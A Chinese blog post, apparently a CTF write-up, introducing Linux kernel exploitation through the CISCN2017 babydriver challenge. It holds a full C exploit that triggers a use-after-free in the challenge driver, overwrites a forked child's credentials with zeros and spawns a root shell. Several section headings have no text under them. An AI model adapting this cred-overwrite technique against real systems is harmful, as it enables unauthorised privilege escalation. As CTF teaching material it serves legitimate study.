系统相关
首页 > 系统相关> > 通过一道简单的例题了解Linux内核PWN

通过一道简单的例题了解Linux内核PWN

作者:互联网

写在前面

这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱。背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭。也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以先从UNICORN、QEMU开始看起,然后看Linux驱动的内容,最后看Linux的内存管理、进程调度和文件的实现原理。至于内核API函数不用死记硬背,用到的时候再查都来得及。

题目概述

这题是参考ctf-wiki上的内核例题,题目名称CISCN2017_babydriver,是一道简单的内核入门题,所牵涉的知识点并不多。题目附件可以在ctf-wiki的GitHub仓库找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver

启动文件和驱动程序函数

漏洞点和利用思路

exp代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

执行exp

需要将编写的exp编译成可执行文件,然后把它复制到rootfs.cpio提取出来的文件系统中,再将文件系统重新打包成cpio,这样在内核重新运行的时候就有exp这个文件了。

调试

总结

通过一道题认识了内核PWN的解题步骤,以及如何对内核进行调试。对于不知道用法的内核函数和结构体,可以在manned.org网站或者源码中查看。

参考资料

CTF-WIKI链接:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2

Linux在线源码:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431

MannedOrg:https://manned.org/kmalloc.3

QEMU手册:https://www.qemu.org/docs/master/system/quickstart.html

UNICORN:https://www.unicorn-engine.org/docs/

标签:cpio,pwn,device,unravel,内核,Linux,PWN,例题,rootfs
来源: https://www.cnblogs.com/unr4v31/p/15725128.html